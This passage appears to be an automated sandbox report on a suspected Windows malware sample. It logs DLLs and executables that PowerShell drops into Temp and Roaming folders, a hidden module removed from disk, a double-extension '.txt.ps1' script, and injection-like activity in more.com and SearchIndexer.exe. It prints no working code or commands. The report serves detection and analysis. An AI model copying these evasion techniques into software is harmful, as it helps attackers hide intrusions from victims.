Source:	Binary string: wntdll.pdb source: Set-up.exe, 00000004.00000002.2555793757.00000000032A0000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000004.00000002.2553534456.0000000002F47000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751040785.000000000475B000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751278063.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785768391.00000000044D3000.00000004.00000020.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2786024510.0000000004970000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\Qt\WebUI2\Release\WebUI.pdb source: Set-up.exe, 00000004.00000002.2569700222.000000006CB87000.00000002.00000001.01000000.0000000A.sdmp, WebUI.dll.0.dr
Source:	Binary string: remotepg.pdbGCTL source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785546283.0000000000166000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: D:\a\MaterialDesignInXamlToolkit\MaterialDesignInXamlToolkit\MaterialDesignThemes.Wpf\obj\Release\net452\MaterialDesignThemes.Wpf.pdbSHA256 source: powershell.exe, 00000000.00000002.2445428097.000001D88080C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: OnDemandConnRouteHelper.pdbUGP source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785546283.0000000000166000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.MaterialLight\net47\MahApps.Metro.IconPacks.MaterialLight.pdbRJ source: MahApps.Metro.IconPacks.MaterialLight.dll.0.dr
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Typicons\net47\MahApps.Metro.IconPacks.Typicons.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.SimpleIcons\net47\MahApps.Metro.IconPacks.SimpleIcons.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock.Themes.Metro\obj\Release\Xceed.Wpf.AvalonDock.Themes.Metro.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880DE9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.CodeDom/net461-Release/System.CodeDom.pdbSHA256 source: powershell.exe, 00000000.00000002.2445428097.000001D880D63000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.VaadinIcons\net47\MahApps.Metro.IconPacks.VaadinIcons.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\MaterialDesignInXamlToolkit\MaterialDesignInXamlToolkit\MaterialDesignColors.Wpf\obj\Release\net452\MaterialDesignColors.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp, MaterialDesignColors.dll.0.dr
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock.Themes.Aero\obj\Release\Xceed.Wpf.AvalonDock.Themes.Aero.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880DE9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.MaterialLight\net47\MahApps.Metro.IconPacks.MaterialLight.pdb source: MahApps.Metro.IconPacks.MaterialLight.dll.0.dr
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock.Themes.Aero\obj\Release\Xceed.Wpf.AvalonDock.Themes.Aero.pdbXh source: powershell.exe, 00000000.00000002.2445428097.000001D880DE9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\Core\obj\Release\Microsoft.WindowsAPICodePack.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D88080C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: onDock.Themes.VS2010\obj\Release\Xceed.Wpf.AvalonDock.Themes.VS2010.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880DE9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Typicons\net47\MahApps.Metro.IconPacks.Typicons.pdbX source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\ExtendedLinguisticServices\obj\Release\Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.pdbPxjx \x_CorDllMainmscoree.dll source: powershell.exe, 00000000.00000002.2445428097.000001D880A8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2445428097.000001D88080C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.Toolkit\obj\Release\Xceed.Wpf.Toolkit.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880DE9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock\obj\Release\Xceed.Wpf.AvalonDock.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880DE9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Benton Stark\Documents\Visual Studio 2017\Projects\starksoft-aspen\Starksoft.Aspen\obj\Release\starksoft.aspen.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\ExtendedLinguisticServices\obj\Release\Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880A8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2445428097.000001D88080C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.WeatherIcons\net47\MahApps.Metro.IconPacks.WeatherIcons.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: OnDemandConnRouteHelper.pdb source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785546283.0000000000166000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: remotepg.pdb source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785546283.0000000000166000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: D:\a\MaterialDesignInXamlToolkit\MaterialDesignInXamlToolkit\MaterialDesignColors.Wpf\obj\Release\net452\MaterialDesignColors.pdbSHA256 source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp, MaterialDesignColors.dll.0.dr

Source: MahApps.Metro.IconPacks.BootstrapIcons.dll.0.dr

Static PE information: 0xDD614879 [Thu Sep 11 17:38:01 2087 UTC]

Source: WebUI.dll.0.dr

Static PE information: real checksum: 0x7a6eb0 should be: 0x7ac1c6

Source: WebUI.dll.0.dr

Static PE information: section name: .unwante

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD347A793D push ebx; retf	0_2_00007FFD347A796A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD3487822A push cs; retf	0_2_00007FFD34878322
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD34AA1B3E push ecx; iretd	0_2_00007FFD34AA1B40
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD34AA180D push ebp; iretd	0_2_00007FFD34AA180F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD34AA1BB5 push ecx; iretd	0_2_00007FFD34AA1BB6
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Code function: 4_2_6C9B6120 push ecx; ret	4_2_6C9B6133
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Code function: 4_2_6C9A7B5D push ecx; ret	4_2_6C9A7B70
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 9_2_0486DC28 push eax; ret	9_2_0486DC56

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\starksoft.aspen.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.SimpleIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Core.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MaterialDesignThemes.Wpf.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Modern.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Octicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.Aero.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RPGAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Material.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.EvaIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MaterialDesignColors.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Microns.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.ShellExtensions.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Entypo.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RadixIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Fontisto.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.Sensors.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.Shell.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.MaterialDesign.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Zondicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Unicons.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	File created: C:\Users\user\AppData\Roaming\CHM\WebUI.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\WebUI.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.VS2010.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.PicolIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Coolicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Fontaudio.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.Toolkit.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Ionicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.PixelartIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Codicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BootstrapIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RemixIcon.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\System.CodeDom.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FontAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Typicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FeatherIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FileIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.WeatherIcons.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	File created: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.JamIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.VaadinIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.MaterialLight.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.Metro.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\cdbwxlpdlbk	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.ForkAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BoxIcons.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\more.com

File created: C:\Users\user\AppData\Local\Temp\cdbwxlpdlbk

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\more.com

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\CDBWXLPDLBK

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: txt.ps1

Static PE information: de7s.txt.ps1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
